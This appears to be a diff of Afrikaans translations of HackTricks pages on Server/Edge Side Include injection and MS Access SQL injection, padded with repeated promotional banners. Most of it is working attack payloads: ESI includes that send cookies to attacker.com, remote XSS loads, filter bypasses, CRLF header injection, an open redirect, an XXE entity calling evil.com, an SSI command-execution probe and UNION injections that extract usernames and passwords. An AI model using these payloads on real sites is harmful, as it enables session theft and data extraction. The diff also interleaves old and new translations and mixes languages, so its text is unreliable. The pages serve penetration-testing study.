Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,33 +1,34 @@
# Serverkant Insluiting/Edgekant Insluiting Injeksie
# Server Side Inclusion/Edge Side Inclusion Injection
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting oor Serverkant Insluiting
## Server Side Inclusion Basiese Inligting
**(Inleiding geneem vanaf [Apache-dokumentasie](https://httpd.apache.org/docs/current/howto/ssi.html))**
**(Inleiding geneem uit [Apache docs](https://httpd.apache.org/docs/current/howto/ssi.html))**
SSI (Serverkant Insluitings) is riglyne wat **in HTML-bladsye geplaas word en op die bediener geëvalueer word** terwyl die bladsye bedien word. Dit stel jou in staat om **dinamies gegenereerde inhoud** by 'n bestaande HTML-bladsy te voeg sonder om die hele bladsy via 'n CGI-program of ander dinamiese tegnologie te bedien.\
Byvoorbeeld, jy kan 'n riglyn in 'n bestaande HTML-bladsy plaas, soos:
SSI (Server Side Includes) is riglyne wat **in HTML-bladsye geplaas word, en op die bediener geëvalueer word** terwyl die bladsye bedien word. Dit laat jou toe om **dynamies gegenereerde inhoud** by 'n bestaande HTML-bladsy te voeg, sonder om die hele bladsy via 'n CGI-program of ander dinamiese tegnologie te bedien.\
Byvoorbeeld, jy mag 'n riglyn in 'n bestaande HTML-bladsy plaas, soos:
`<!--#echo var="DATE_LOCAL" -->`
En, wanneer die bladsy bedien word, sal hierdie fragment geëvalueer word en vervang word met sy waarde:
En, wanneer die bladsy bedien word, sal hierdie fragment geëvalueer word en met sy waarde vervang word:
`Dinsdag, 15-Jan-2013 19:28:54 EST`
Die besluit oor wanneer om SSI te gebruik, en wanneer om jou bladsy heeltemal deur 'n program te laat genereer, is gewoonlik 'n saak van hoeveel van die bladsy staties is en hoeveel elke keer as die bladsy bedien word, herbereken moet word. SSI is 'n goeie manier om klein stukkies inligting, soos die huidige tyd - soos hierbo getoon, by te voeg. Maar as 'n meerderheid van jou bladsy op die oomblik van bediening gegenereer word, moet jy na 'n ander oplossing kyk.
Die besluit oor wanneer om SSI te gebruik, en wanneer om jou bladsy heeltemal deur 'n program te laat genereer, is gewoonlik 'n kwessie van hoeveel van die bladsy staties is, en hoeveel elke keer herbereken moet word wanneer die bladsy bedien word. SSI is 'n uitstekende manier om klein stukke inligting by te voeg, soos die huidige tyd - hierbo getoon. Maar as 'n meerderheid van jou bladsy teen die tyd dat dit bedien word, gegenereer word, moet jy na 'n ander oplossing soek.
Jy kan die teenwoordigheid van SSI aflei as die webtoepassing lêers met die uitbreidings \*\* `.shtml`, `.shtm` of `.stm`\*\* gebruik, maar dit is nie die enigste geval nie.
@ -35,19 +36,7 @@ Jy kan die teenwoordigheid van SSI aflei as die webtoepassing lêers met die uit
```
<!--#directive param="value" -->
```
### Kontroleer
Om te bepaal of 'n webtoepassing vatbaar is vir 'n server-side insluiting (SSI) of 'n kantlyn insluiting (ESI) inspuiting, kan jy die volgende stappe volg:
1. Identifiseer die invoer veld: Vind die invoer veld wat gebruik word om die insluitingsvermoë van die toepassing te beheer.
2. Voer 'n eenvoudige insluitingsvermoë in: Voer 'n eenvoudige insluitingsvermoë in, soos `<!--#include file="file.txt" -->` vir SSI of `<esi:include src="file.txt" />` vir ESI. As die insluiting korrek verwerk word en die inhoud van die lêer in die respons verskyn, is die toepassing vatbaar vir inspuiting.
3. Voer 'n kwaadwillige insluitingsvermoë in: Voer 'n kwaadwillige insluitingsvermoë in, soos `<!--#exec cmd="ls" -->` vir SSI of `<esi:eval>system('ls')</esi:eval>` vir ESI. As die insluiting uitgevoer word en die resultate van die kwaadwillige kode in die respons verskyn, is die toepassing kwesbaar vir inspuiting.
4. Analiseer die respons: Analiseer die respons om te bepaal of die insluitingsvermoë suksesvol was en of die kwaadwillige kode uitgevoer is. As die insluiting suksesvol was en die kwaadwillige kode uitgevoer is, is die toepassing kwesbaar vir inspuiting.
Deur hierdie stappe te volg, kan jy die vatbaarheid van 'n webtoepassing vir SSI- of ESI-inspuiting bepaal en potensiële kwesbaarhede identifiseer wat misbruik kan word deur 'n aanvaller.
### Kontrole
```javascript
// Document name
<!--#echo var="DOCUMENT_NAME" -->
@ -78,19 +67,19 @@ Deur hierdie stappe te volg, kan jy die vatbaarheid van 'n webtoepassing vir SSI
<!--#set var="name" value="Rich" -->
```
## Randkant-inlywing
## Edge Side Inclusion
Daar is 'n probleem met die **gekasseerde inligting of dinamiese toepassings** aangesien 'n gedeelte van die inhoud mag **varieer** vir die volgende keer dat die inhoud opgehaal word. Dit is waar **ESI** vir gebruik word, om deur middel van ESI-etikette aan te dui watter **dinamiese inhoud gegenereer moet word** voordat die gekasseerde weergawe gestuur word.\
As 'n **aanvaller** in staat is om 'n ESI-etiket in die gekasseerde inhoud in te spuit, kan hy in staat wees om **arbitrêre inhoud in te spuit** in die dokument voordat dit na die gebruikers gestuur word.
Daar is 'n probleem **met die kasinligting of dinamiese toepassings** aangesien die **inhoud** vir die volgende keer wat die inhoud opgehaal word, **verskillend** mag wees. Dit is wat **ESI** gebruik word, om aan te dui met ESI-tags die **dinamiese inhoud wat gegenereer moet word** voordat die kasweergawe gestuur word.\
As 'n **aanvaller** in staat is om 'n **ESI-tag** binne die kasinhoud te **injekteer**, kan hy in staat wees om **arbitraire inhoud** op die dokument in te dien voordat dit aan die gebruikers gestuur word.
### ESI Opmerking
### ESI Detection
Die volgende **kop** in 'n respons van die bediener beteken dat die bediener ESI gebruik:
Die volgende **kop** in 'n antwoord van die bediener beteken dat die bediener ESI gebruik:
```
Surrogate-Control: content="ESI/1.0"
```
As jy hierdie kop nie kan vind nie, **kan die bediener steeds ESI gebruik**.\
'n **Blind uitbuitingsbenadering kan ook gebruik word** aangesien 'n versoek na die aanvaller se bediener moet arriveer:
As jy hierdie kop nie kan vind nie, **kan die bediener dalk steeds ESI gebruik**.\
'n **blindeksploitasi benadering kan ook gebruik word** aangesien 'n versoek na die aanvallers bediener moet aankom:
```javascript
// Basic detection
hell<!--esi-->o
@ -113,52 +102,30 @@ hell<!--esi-->o
```
### ESI-uitbuiting
[GoSecure het 'n tabel geskep](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) om moontlike aanvalle te verstaan wat ons kan probeer teen verskillende ESI-bevoegde sagteware, afhangende van die ondersteunde funksionaliteit:
[GoSecure het geskep](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) 'n tabel om moontlike aanvalle te verstaan wat ons teen verskillende ESI-ondersteunde sagteware kan probeer, afhangende van die funksionaliteit wat ondersteun word:
* **Includes**: Ondersteun die `<esi:includes>` rigtingaanwysing
* **Vars**: Ondersteun die `<esi:vars>` rigtingaanwysing. Nuttig vir die omseil van XSS-filters
* **Cookie**: Dokumentkoekies is toeganklik vir die ESI-enjin
* **Upstream Headers Vereis**: Surrogaat-toepassings sal nie ESI-verklarings verwerk tensy die opwaartse toepassing die koppe voorsien nie
* **Host Allowlist**: In hierdie geval is ESI-insluitings slegs moontlik vanaf toegelate bedienergasheerders, wat byvoorbeeld slegs moontlik is teen daardie gasheerders
* **Includes**: Ondersteun die `<esi:includes>` riglyn
* **Vars**: Ondersteun die `<esi:vars>` riglyn. Nuttig om XSS-filters te omseil
* **Cookie**: Dokumentkoekies is beskikbaar vir die ESI-enjin
* **Opwaartse Koppe Vereis**: Surrogaat toepassings sal nie ESI-verklarings verwerk nie tensy die opwaartse toepassing die koppe verskaf
* **Gasheer Toegelaatlys**: In hierdie geval is ESI-includes slegs moontlik vanaf toegelate bediener-gashere, wat SSRF, byvoorbeeld, slegs teen daardie gashere moontlik maak
| **Sagteware** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Vereis** | **Host Witlys** |
| :--------------------------: | :----------: | :------: | :---------: | :------------------------: | :-------------: |
| Squid3 | Ja | Ja | Ja | Ja | Nee |
| Varnish Cache | Ja | Nee | Nee | Ja | Ja |
| Fastly | Ja | Nee | Nee | Nee | Ja |
| Akamai ESI Toetsbediener (ETS) | Ja | Ja | Ja | Nee | Nee |
| NodeJS esi | Ja | Ja | Ja | Nee | Nee |
| NodeJS nodesi | Ja | Nee | Nee | Nee | Opsioneel |
| **Sagteware** | **Includes** | **Vars** | **Koekies** | **Opwaartse Koppe Vereis** | **Gasheer Witlys** |
| :----------------------------: | :----------: | :------: | :---------: | :------------------------: | :----------------: |
| Squid3 | Ja | Ja | Ja | Ja | Nee |
| Varnish Cache | Ja | Nee | Nee | Ja | Ja |
| Fastly | Ja | Nee | Nee | Nee | Ja |
| Akamai ESI Toetsbediener (ETS) | Ja | Ja | Ja | Nee | Nee |
| NodeJS esi | Ja | Ja | Ja | Nee | Nee |
| NodeJS nodesi | Ja | Nee | Nee | Nee | Opsioneel |
#### XSS
Die volgende ESI-rigtingaanwysing sal 'n willekeurige lêer laai binne die respons van die bediener.
Die volgende ESI-riglyn sal 'n arbitrêre lêer binne die antwoord van die bediener laai
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Deur klient XSS-beskerming te omseil
To bypass client XSS protection, you can try the following techniques:
Om klient XSS-beskerming te omseil, kan jy die volgende tegnieke probeer:
1. **HTML encoding**: Encode the malicious payload using HTML entities to bypass client-side XSS filters. For example, `<` can be encoded as `&lt;` and `>` as `&gt;`.
**HTML-kodering**: Kodeer die skadelike lading met behulp van HTML-entiteite om klientkant XSS-filters te omseil. Byvoorbeeld, `<` kan gekodeer word as `&lt;` en `>` as `&gt;`.
2. **JavaScript encoding**: Encode the payload using JavaScript encoding techniques such as Unicode encoding or URL encoding. This can help bypass client-side XSS filters that only look for specific patterns.
**JavaScript-kodering**: Kodeer die lading met behulp van JavaScript-koderingstegnieke soos Unicode-kodering of URL-kodering. Dit kan help om klientkant XSS-filters te omseil wat slegs spesifieke patrone soek.
3. **DOM-based XSS**: Exploit vulnerabilities in the Document Object Model (DOM) to execute malicious JavaScript code. This bypasses client-side XSS filters as they do not analyze the DOM.
**DOM-gebaseerde XSS**: Benut kwesbaarhede in die Document Object Model (DOM) om skadelike JavaScript-kode uit te voer. Dit omseil klientkant XSS-filters omdat hulle nie die DOM analiseer nie.
4. **Polyglot payloads**: Use payloads that can be interpreted as different types of code, such as both JavaScript and HTML. This can bypass client-side XSS filters that only look for specific code patterns.
**Polyglot-ladings**: Gebruik ladings wat geïnterpreteer kan word as verskillende tipes kode, soos beide JavaScript en HTML. Dit kan klientkant XSS-filters omseil wat slegs spesifieke kodepatrone soek.
It is important to note that bypassing client XSS protection may be unethical and illegal without proper authorization. Always ensure you have the necessary permissions before attempting any hacking techniques.
#### Om kliente XSS-beskerming te omseil
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
@ -168,12 +135,12 @@ Use <!--esi--> to bypass WAFs:
```
#### Steel Koekie
* Verwyder koekie op afstand
* Afgeleë steel koekie
```xml
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
```
* Steel koekie HTTP_ONLY met XSS deur dit te reflekteer in die respons:
* Steal cookie HTTP\_ONLY met XSS deur dit in die antwoord te reflekteer:
```bash
# This will reflect the cookies in the response
<!--esi $(HTTP_COOKIE) -->
@ -182,49 +149,31 @@ Use <!--esi--> to bypass WAFs:
# It's possible to put more complex JS code to steal cookies or perform actions
```
#### Privaat Plaaslike Lêer
#### Private Local File
Moenie dit verwar met 'n "Plaaslike Lêer Insluiting" nie:
Moet dit nie verwar met 'n "Local File Inclusion":
```markup
<esi:include src="secret.txt">
```
#### CRLF
CRLF (Carriage Return Line Feed) is a special character sequence that represents the end of a line in various operating systems, including Windows. It consists of two characters: a carriage return (CR) and a line feed (LF).
In the context of web security, CRLF injection refers to a type of attack where an attacker injects CRLF characters into user input fields or HTTP headers to manipulate the behavior of the web application or server. This can lead to various security vulnerabilities, such as HTTP response splitting, HTTP header injection, and server-side request forgery (SSRF).
CRLF injection attacks can be used to perform various malicious activities, including:
- HTTP response splitting: By injecting CRLF characters into user input fields or HTTP headers, an attacker can manipulate the HTTP response to insert additional content or perform cross-site scripting (XSS) attacks.
- HTTP header injection: By injecting CRLF characters into HTTP headers, an attacker can manipulate the headers to perform various attacks, such as session fixation, cache poisoning, or redirecting users to malicious websites.
- Server-side request forgery (SSRF): By injecting CRLF characters into user input fields or HTTP headers, an attacker can manipulate the server's requests to access internal resources or perform actions on behalf of the server.
To prevent CRLF injection attacks, it is important to properly validate and sanitize user input, especially when it is used in HTTP headers or other sensitive areas. Input validation should include checking for the presence of CRLF characters and rejecting any input that contains them.
Additionally, web application firewalls (WAFs) and security scanners can help detect and mitigate CRLF injection vulnerabilities by identifying and blocking malicious input.
By understanding CRLF injection and implementing proper security measures, web applications can protect themselves against this type of attack and ensure the integrity and security of user data.
```markup
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Oop Verwysing
#### Open Redirect
Die volgende sal 'n `Location` kop aan die respons toevoeg.
Die volgende sal 'n `Location` kop aan die antwoord voeg
```bash
<!--esi $add_header('Location','http://attacker.com') -->
```
#### Voeg Koptekst Toe
#### Voeg Kop
* Voeg koptekst toe in gedwongen verzoek
* Voeg kop in gedwonge versoek
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345"/>
</esi:include>
```
* Voeg 'n kop in die respons by (nuttig om "Content-Type: text/json" in 'n respons met XSS te omseil)
* Voeg 'n kop in die antwoord by (nuttig om "Content-Type: text/json" in 'n antwoord met XSS te omseil)
```bash
<!--esi/$add_header('Content-Type','text/html')/-->
@ -232,36 +181,22 @@ Die volgende sal 'n `Location` kop aan die respons toevoeg.
# Check the number of url_decode to know how many times you can URL encode the value
```
#### CRLF in Voeg koptekst by (**CVE-2019-2438)**
Die CRLF-injectie (Carriage Return Line Feed) in die "Add header" funksie kan gebruik word om 'n kwaadwillige koptekst in te sluit wat lei tot verskeie aanvalle soos HTTP-omleiding, HTTP-response splitting en Cross-Site Scripting (XSS). Hierdie kwesbaarheid is bekend as CVE-2019-2438.
Die aanvaller kan 'n kwaadwillige koptekst insluit deur die CRLF-tekenreeks ("%0d%0a") te gebruik. Hier is 'n voorbeeld van hoe dit gedoen kan word:
```
GET /page HTTP/1.1
Host: example.com
Add header: Location: http://attacker.com%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert('XSS')</script>
```
In hierdie voorbeeld word 'n kwaadwillige koptekst ingesluit deur die "Add header" veld te manipuleer. Die kwaadwillige koptekst bevat 'n omleidings-URL en 'n XSS-skripsie wat uitgevoer sal word wanneer die webwerf die kwaadwillige koptekst verwerk.
Om hierdie kwesbaarheid te voorkom, moet die invoer van die "Add header" funksie behoorlik gevalideer en gesaniteer word. Dit sluit die verwydering van CRLF-tekenreeks in.
#### CRLF in Add header (**CVE-2019-2438**)
```xml
<esi:include src="http://example.com/asdasd">
<esi:request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</esi:include>
```
#### Akamai foutopsporing
#### Akamai debug
Dit sal foutopsporingsinligting insluit in die respons wat gestuur word:
Dit sal foutopsporingsinligting wat in die antwoord ingesluit is, stuur:
```xml
<esi:debug/>
```
### ESI + XSLT = XXE
Deur die `xslt` waarde vir die _dca_ parameter te spesifiseer, is dit moontlik om **`eXtensible Stylesheet Language Transformations (XSLT)`** gebaseerde ESI in te sluit. Die insluiting veroorsaak dat die HTTP-surrogaat die XML- en XSLT-lêers ophaal, waarvan die laasgenoemde die eerste filter. Sulke XML-lêers is vatbaar vir _XML External Entity (XXE)_ aanvalle, wat aanvallers in staat stel om SSRF-aanvalle uit te voer. Die nut van hierdie benadering is egter beperk, aangesien ESI-insluitings reeds as 'n SSRF-vektor dien. As gevolg van die afwesigheid van ondersteuning in die onderliggende Xalan-biblioteek, word eksterne DTD's nie verwerk nie, wat plaaslike lêeronttrekking voorkom.
Deur die `xslt` waarde vir die _dca_ parameter te spesifiseer, is dit haalbaar om **`eXtensible Stylesheet Language Transformations (XSLT)`** gebaseerde ESI in te sluit. Die insluiting veroorsaak dat die HTTP surrogaat die XML en XSLT lêers ophaal, met laasgenoemde wat die eerste filter. Sulke XML lêers is uitbuitbaar vir _XML External Entity (XXE)_ aanvalle, wat aanvallers in staat stel om SSRF aanvalle uit te voer. Die nut van hierdie benadering is egter beperk aangesien ESI reeds as 'n SSRF-vak gebruik word. Vanweë die afwesigheid van ondersteuning in die onderliggende Xalan biblioteek, word eksterne DTD's nie verwerk nie, wat plaaslike lêeruittrekking voorkom.
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```
@ -271,7 +206,7 @@ XSLT-lêer:
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" >]>
<foo>&xxe;</foo>
```
Kyk na die XSLT-bladsy:
Check die XSLT-bladsy:
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-language-transformations.md](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
@ -284,20 +219,21 @@ Kyk na die XSLT-bladsy:
* [https://academy.hackthebox.com/module/145/section/1304](https://academy.hackthebox.com/module/145/section/1304)
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
## Brute-Force Opmerkingslys
## Brute-Force Opsporing Lys
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,135 +1,136 @@
# MS Access SQL-injeksie
# MS Access SQL Injection
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Aanlyn-speelplek
## Aanlyn Speelgrond
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## DB Beperkings
### String-konkatenasie
### String Samevoeging
String-konkatenasie is moontlik met die karakters `& (%26)` en `+ (%2b)`.
String samevoeging is moontlik met `& (%26)` en `+ (%2b)` karakters.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Kommentaar
Daar is geen kommentaar in MS Access nie, maar dit is blykbaar moontlik om die laaste deel van 'n navraag te verwyder met 'n NULL-teken:
Daar is geen kommentaar in MS Access nie, maar dit blyk moontlik te wees om die laaste van 'n navraag met 'n NULL-karakter te verwyder:
```sql
1' union select 1,2 from table%00
```
As dit nie werk nie, kan jy altyd die sintaks van die navraag regmaak:
As dit nie werk nie, kan jy altyd die sintaksis van die navraag regmaak:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Gestapelde Navrae
### Gestapelde Vrae
Hulle word nie ondersteun nie.
### LIMIT
### BEPERK
Die **`LIMIT`**-operateur **is nie geïmplementeer nie**. Dit is egter moontlik om die resultate van 'n SELECT-navraag te beperk tot die **eerste N-tabelrye deur die `TOP`-operateur** te gebruik. `TOP` aanvaar 'n heelgetal as argument wat die aantal terug te gee ryë verteenwoordig.
Die **`LIMIT`** operateur **is nie geïmplementeer** nie. Dit is egter moontlik om SELECT-vraagresultate te beperk tot die **eerste N tabel rye met die `TOP` operateur**. `TOP` aanvaar as argument 'n heelgetal, wat die aantal rye wat teruggegee moet word, verteenwoordig.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Net soos TOP kan jy **`LAST`** gebruik wat die **rye van die einde** sal kry.
## UNION Navrae/Subnavrae
## UNION Vrae/Subvrae
In 'n SQLi wil jy gewoonlik 'n nuwe navraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in **subnavrae of ekstra navrae 'n `FROM` aangedui word**.\
Dus, as jy 'n `UNION SELECT` of `UNION ALL SELECT` of 'n `SELECT` tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd **'n `FROM` met 'n geldige tabelnaam aandui**.\
Daarom moet jy 'n **geldige tabelnaam** weet.
In 'n SQLi wil jy gewoonlik op een of ander manier 'n nuwe vraag uitvoer om inligting uit ander tabelle te onttrek. MS Access vereis altyd dat in **subvrae of ekstra vrae 'n `FROM` aangedui word**.\
So, as jy 'n `UNION SELECT` of `UNION ALL SELECT` of 'n `SELECT` tussen hakies in 'n voorwaarde wil uitvoer, moet jy altyd **'n `FROM` met 'n geldige tabelnaam aandui**.\
Daarom moet jy 'n **geldige tabelnaam** ken.
```sql
-1' UNION SELECT username,password from users%00
```
### Ketting van gelykheid + Substring
### Chaining equals + Substring
{% hint style="warning" %}
Dit sal jou in staat stel om waardes van die huidige tabel uit te voer sonder om die naam van die tabel te weet.
Dit sal jou toelaat om waardes van die huidige tabel te exfiltreer sonder om die naam van die tabel te hoef te ken.
{% endhint %}
**MS Access** maak gebruik van **vreemde sintaksis** soos **`'1'=2='3'='asd'=false`**. Aangesien die SQL-injectie gewoonlik binne 'n **`WHERE`** klousule sal wees, kan ons dit misbruik.
**MS Access** laat **vreemde sintaksis** toe soos **`'1'=2='3'='asd'=false`**. Soos gewoonlik sal die SQL-inspuiting binne 'n **`WHERE`** klousule wees wat ons kan misbruik.
